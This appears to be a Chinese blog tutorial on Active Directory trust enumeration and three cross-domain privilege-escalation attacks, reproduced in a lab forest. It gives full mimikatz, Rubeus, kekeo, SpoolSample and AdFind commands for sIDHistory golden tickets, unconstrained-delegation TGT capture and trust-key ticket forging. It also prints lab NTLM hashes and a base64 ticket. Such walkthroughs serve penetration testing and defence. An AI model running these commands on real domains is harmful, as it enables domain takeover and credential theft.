赞
踩
本篇文章主要讲述跨域利用的常见手法,以及域信任查询与域信任分析
本篇文章不结合常见域渗透手法利用,主要以复现跨域攻击手法为主。
简述: 域信任存在的主要原因是为了解决多域环境下的身份验证和访问控制问题。 在一个拥有多个子域的大规模 Active Directory 环境中,不同的用户和计算机 需要在多个域之间进行通信和共享资源。为了实现这种交互,一些域需要承认 另一些域的身份验证和用户身份,域信任分为单向信任和双向信任Windows域 从2003开始默认是双向域信任,下面将简单讲述什么是单向信任和双向信任。 单向信任: 单向信任是指两个域之间建立的单向信任关系。单向信任可以分为单向进入信任和单向离开信任。 单向进入信任的情况是其中一个域信任另一个域,但反过来却不成立。例如,总部域信任分公司域, 但分公司域不信任总部域。 单向离开信任的情况是其中一个域被另一个域信任,但它本身不信任另一个域。例如,分公司域信任总 部域,但总部域不信任分公司域 双向信任: 双向域信任是一种可以相互信任并验证的两个域之间的安全连接。它允许每个域中的用户和 计算机访问另一个域中的资源,并允许另一个域中的用户和计算机访问当前域中的资源。 外部信任: 外部信任是建立在不同林间的域之间的信任关系。它允许一个域中的用户或计算机访问另一个域 中的资源,并且需要跨越安全界限进行身份验证。当一个组织需要频繁地与另一个组织进行沟通或 协作时,可以建立外部信任来实现共享资源和集中管理,Windows域林便是外部信任。 内部信任: 现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为 内部信任,比如test.com的根域与bj.test.com的子域就属于内部信任。
机器名称 简介 域名 IP
2016-TEST-DC 根域 test.com 192.168.100.100
2016-TEST-FZDC 辅助DC test.com 192.168.100.200
WIN7-TEST WIN7机器 test.com 192.168.100.10
WIN10-TEST WIN10机器 test.com 192.168.100.20
2016-BJTEST-DC beijing子域DC beijing.test.com 192.168.110.110/192.168.100.110
WIN7-BJTEST WIN7机器 beijing.test.com 192.168.110.10
WIN10-BJTEST WIN10机器 beijing.test.com 192.168.110.20
2016-SHTEST-DC shanghai子域DC shanghai.test.com 192.168.120.120/192.168.100.120
WIN7-SHTEST WIN7机器 shanghai.test.com 192.168.120.10
WIN10-SHTEST WIN10机器 shanghai.test.com 192.168.120.20
普通域成员机器使用cmd命令查询命令:
nltest.exe /domain_trusts
可以使用powershell查询
查询与test.com的域信任关系(需要在域控机器上查询)
查询当前域全局编录信息
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs
Get-ADTrust -Identity test.com(域名DC)
获取根域信息并查询整个域
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
查询当前域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
查询当前域信任关系
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
通过之前的cmd可以查询到域信任关系之后可以使用Adfind对整个域树进行侦查,
方式其实跟本域侦查差不多不过DN要改为想要查询的域下面举例在shanghai.test.com
的普通域成员机器上使用Adfind查询根域的账号以及入域机器,在实战当中大家可以举一反三。
在shanghai普通域成员机器上查询域信任关系:
nltest.exe /domain_trusts
在shanghai普通域成员机器上查询test.com根域下的企业管理员(企业管理员组在跨域利用中是重要凭据之一):
AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com"
可以看到查询到了两个账号分别是dcadmin和administrator账号。
在shanghai普通域成员机器上查询test.com根域域下的入域机器:
AdFind.exe -b "CN=Computers,DC=test,DC=com" DN
在shanghai普通域成员机器上查询test.com根域域下的账号:
AdFind.exe -b "CN=Users,DC=test,DC=com" DN
bloodhound侦查域树需要-d指定域才行,比如要拖test.com、shanghai.test.com、beijing.test.com
则需要一下命令:
SharpHound.exe -d test.com
SharpHound.exe -d shanghai.test.com
SharpHound.exe -d beijing.test.com
需要注意的是SharpHound.exe -c all只会拖本域信息不会自动拖根域或其他子域。
将指定这3个指定域拖来下之后就可以全部加载到bloodhound中进行分析了。
利用原理:
SIDHistory是一个为支持域迁移方案而设置的属性,当一个对象从一个域迁移到另一个域时,
会在新域创建一个新的SID作为该对象的objectSid,在之前域中的SID会添加到该对象的
sIDHistory属性中,此时该对象将保留在原来域的SID对应的访问权限。
比如域A账号lisi是管理员但是到域B下就是普通账号并且SID是不一样的,可以通过sIDHistory设置为域A
下lisi的SID那么域B下的lisi也用于管理员权限,下面一张图可以很直白的理解下。
Krbtgt 密钥创建跨域金票利用的本质是sIDHistory属性的滥用,子域下的administrator伪造sIDHistory为Enterprise Admins组的SID。 需要注意: 这种利用方式只能是域树中使用,在林信任中默认会开启,开启SID过滤就算你加了sIDHistory属性在跨林访问时, 目标域返回给你的服务票据中也会过滤掉非目标林中的SID。 利用步骤: 1.拿到了域控或者域管权限进行Dcsync拿到Krbtgt Ntlm Hash。 2.使用mimikatz伪造新PAC为根域的Enterprise Admins(企业管理员组),并创建跨域黄金票据。 3.将创建好的跨域票据进行Dcsync或者,PTT(传递票据)申请根域cifs服务的TGS票据。 利用步骤1: 假设通过域管拿到shanghai子域krbtgt hash: mimikatz # lsadump::dcsync /domain:shanghai.test.com /all /csv [DC] 'shanghai.test.com' will be the domain [DC] '2016-SH-DC.shanghai.test.com' will be the DC server [DC] Exporting domain 'shanghai.test.com' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) 1104 TEST$ a56321523a51ed93b6c21ff9213cade9 2080 500 Administrator 443304af5a35f12b9ff7ecc74adc5a27 512 1000 admin 31d6cfe0d16ae931b73c59d7e0c089c0 544 502 krbtgt 4b3e6ed708355aa2d2ae70ef6e3a9779 514 1105 shruyu 4c25ed57e37131073192a98148fbc30f 512 1107 WIN7-SHTEST$ 925c0baf53810e732db919536805aa44 4096 1108 WIN-SHTEST$ fdb517e80191d9e504ad69a6e6c55df4 4096 1001 2016-SH-DC$ b95b447c9fcedb2da5e34d9fc9b75ecd 532480 1106 shyugaun 443304af5a35f12b9ff7ecc74adc5a27 512 1109 shyg 443304af5a35f12b9ff7ecc74adc5a27 512 利用步骤2: Adfind查询根域下的Enterprise Admins组SID命令: AdFind.exe -b "CN=Enterprise Admins,CN=Users,DC=test,DC=com" objectSid S-1-5-21-2612114875-2818398968-331682553-519
mimikatz创建跨域黄金票据命令:
Adfind查询当前域SID命令:
adfind.exe -f "(&(objectclass=domain)(distinguishedName=DC=shanghai,DC=test,DC=com))" objectSid
清除当前票据
kerberos::purge
注入跨域金票参数说明:
sids:Enterprise Admins(企业管理员组)SID
sid:当前域SID
domain:当前域名
krbtgt:NTLM Hash
ptt:将票据注入当前内存
kerberos::golden /user:administrator /sids:S-1-5-21-2612114875-2818398968-331682553-519 /sid:S-1-5-21-3064315907-2361217233-2781650092 /domain:shanghai.test.com /krbtgt:4b3e6ed708355aa2d2ae70ef6e3a9779 /ptt
利用步骤3:
lsadump::dcsync /domain:test.com /all /csv
进行Dcsync导出test.com根域下的所有NTLM Hash后续可以进行PTH攻击。
上面进行Dcsync之后已经拿到根域的所有Hash了下面在介绍另一种利用方式:
使用kekeo进行PTT传递票据申请根域控TGS的cifs票据并登录根域。
上述mimikatz不加/ptt注入到当前内存中会自动在当前目录下生成TGT票据文件,
需要使用kekeo指定该票据进行PTT获取根域cifs的TGS票据。
命令:
tgs::ask /tgt:C:\Users\shyg\Desktop\ticket.kirbi /service:cifs/2016-TEST-DC.test.com /ptt
利用原理:
域林中域控(默认启用非约束委派)的权限或配置了非约束委派的服务器权限情况下,
使其他域的域控制器向已被控制服务器送身份认证请求,获取目标域控机器账户(或其他用户)TGT。
需要注意:
此利用仍然受SID过滤的影响,在开启SID过滤的情况下不会将TGT发送到服务。
利用步骤:
1.拿下某台域控或者域树内的某台具有非约束委派的机器。
2.Rubeus开启监听根域机器账号TGT
3.使用打印机BUG/PetitPotam触发根域控Kerberos认证到权限机器。
4.Rubeus.exe导入票据并进行Dcsync。
利用步骤1:
假设拿到了shanghai.test.com中的域管权限并使用RDP登录到了该子域域控。
利用步骤2:
监听根域机器账号
Rubeus.exe monitor /interval:2 /filteruser:2016-TEST-DC$
利用步骤3:
利用SpoolSample.exe工具进行强制认证命令:
SpoolSample.exe 2016-TEST-DC 2016-SH-DC
利用步骤4:
Rubeus成功抓取到根域机器账号TGT。
Rubeus导入根域TGT票据进行PTT攻击
Rubeus.exe ptt /ticket:doIFTDCCBUigAwIBBaEDAgEWooIEWDCCBFRhggRQMIIETKADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTaOCBBgwggQUoAMCARKhAwIBAqKCBAYEggQC5NFTRrQeqOybbah2lepgmY4GG3w9974Zc5edjnCZLKkENilLTPskGpu19N+inK04OI3nJynY7HsCKFEjBwv3afCLeWFUF8/Nqjg9GTuRrfFG2VsR17iZFvF95I/vVd537TRc6Tfrl31jkXcTRRuWMSeFZKKe+fW6BgwHc/AvvzOcKPRuhO8ql4Q5hpoyEeLKjFQsAs8nRczTedE8hAM6dI2+2X1IGEYfA9f1HePDltojybCpA1WCvV6uvOhD18Y4/dia1PkB9yVoPXI3rS9oF1phJPn/CKb56xNV+U+EXa4rz+sDHYa4zSd2KQN2UaqGTM73xNO2em/5YYuZ6j4z0NmzW4E73pDamcGEwEoAkH9s2EvefXn2vPRe2N8LcpwcFqWR6LCh/AJtAVrITE9g1JUrnfAB9v5gtyZ3RUMjm6zjy+yhNdi0W7HMgbsfOTqbI7xbvxS4iHynngr0ytx73QzGd6nPkZoZ/9rnBTliVSUwqlvpiO9njah4RS1+SzgBog2LHuQCwDq5ixBmK0BgQzqvWW+4CvBMs1Chb3IATtNa5wxIddhet05MLjxdmTxlTABiJ+9FOsY29xHjCH2Ov5Kuax3K30qQiBOdlS58c4HRE6xH8Mqg8OowFfg8bhGNU3674jY0HXoB+UkPWVqI6Yk1X0j8ew9UWf3qphpBtKP4t4lFOa5kbTJ7yw6da/PtN6Mrfihr9d8LPffsAqe1I03eePDrYYPEaYbRhfXyieY0dhqR0/2LuziAVeVWsMSlYcg4CEoQPqQoPlVtWrgc48w4862T6qBOX5s9zyurjif5g5gxK4Ly96zHhZAyuZ8bEcRpmhbh9ckptmYvXuTZHzLiIh5DWs5WGr+vuFjs8T//9xXYlsjnG3CdyjincjDxIPO9qjPzwAQRskywuSZRuXoHLDBhIQ1CJc8An9ipfiwNBse0JJ1KuzyWt3WAGOttktxmgFLIsFHmoxQeatg5AO0sIVW0CCJWz/jXdVbSHmmFIH4umwygPpjjIFN6J5B5MCOJaAMYRrLVsS6WnkP9WNKm0K15sdCmWfea/fx/bTqNHUxCJ4COSDFsouo1dZqfzpLbsWD/UpLA/IdrKT5st9cwCfD7vajnZhR3a3vMdiOpwKennZuB3UwoGXwf74wXG+n3WKU4EezWLQCvjv2mL71ehmO5grQKFQeoojJS6gfpwnRCwiQ2YDme5s6cpcmI4IlOARb4FqDX1/2u9dfLuFHmbLVt7Vs3FsR1Mb3GVq6HUgZ69+iYKdY2YikJH5q6hCCENWYWhL+u5xMs4OuZ+55aYbvLJp0uqxVhekW41aghgm6XC71Q1PM90YfjYaO+Tn7TIzwRt/IiHAPKyMcAZvd+o4HfMIHcoAMCAQCigdQEgdF9gc4wgcuggcgwgcUwgcKgKzApoAMCARKhIgQg5byaluxodvKOqAphZQq+g0aURHdh2nV9SnEyzYKb2WKhChsIVEVTVC5DT02iGjAYoAMCAQGhETAPGw0yMDE2LVRFU1QtREMkowcDBQBgoQAApREYDzIwMjMwMzE2MDYyODIxWqYRGA8yMDIzMDMxNjE2MjcyNVqnERgPMjAyMzAzMjMwNjI3MjVaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0GwhURVNULkNPTQ==
在当前窗口下使用mimikatz进行Dcsync
lsadump::dcsync /domain:test.com /all /csv
域间信任密钥跨域利用与Krbtgt 密钥创建跨域金票类似唯一的区别是通过域间信任密钥创建票据,
添加企业管理员组到TGT PAC的ExtraSids字段。
利用步骤:
1.拿下子域域控使用mimikatz抓取域间密钥
2.使用mimikatz创建基于域间密钥的跨域金票
3.进行PTT票据传递攻击申请域控cifs服务TGS票据
利用步骤1:
在子域控查询信任账户
Get-ADUser -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
使用mimikatz在子域控下抓取域间信任密钥:
privilege::debug
lsadump::trust /patch
利用步骤2:
mimikatz利用域间密钥创建TGT
user:伪造的用户
domain:当前域
sid:当前域SID
sids:根域企业管理员组SID
rc4:域间密钥rc4算法
kerberos::golden /user:administrator /domain:shanghai.test.com /sid:S-1-5-21-3064315907-2361217233-2781650092 /sids:S-1-5-21-2612114875-2818398968-331682553-519 /rc4:a56321523a51ed93b6c21ff9213cade9 /service:krbtgt /target:test.com
Rubeus申请域控cifs的TGS
Rubeus.exe asktgs /service:cifs/2016-TEST-DC.test.com /dc:2016-TEST-DC.test.com /ticket:ticket.kirbi /ptt
本篇文章讲述了3种跨域利用方式以及跨域使用Adfind和bloodhound做侦查
1.使用域间信任密钥进行跨域利用
2.子域Krbtgt 密钥创建跨域金票
3.打印机BUG/PetitPotam+非约束委派进行跨域利用
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。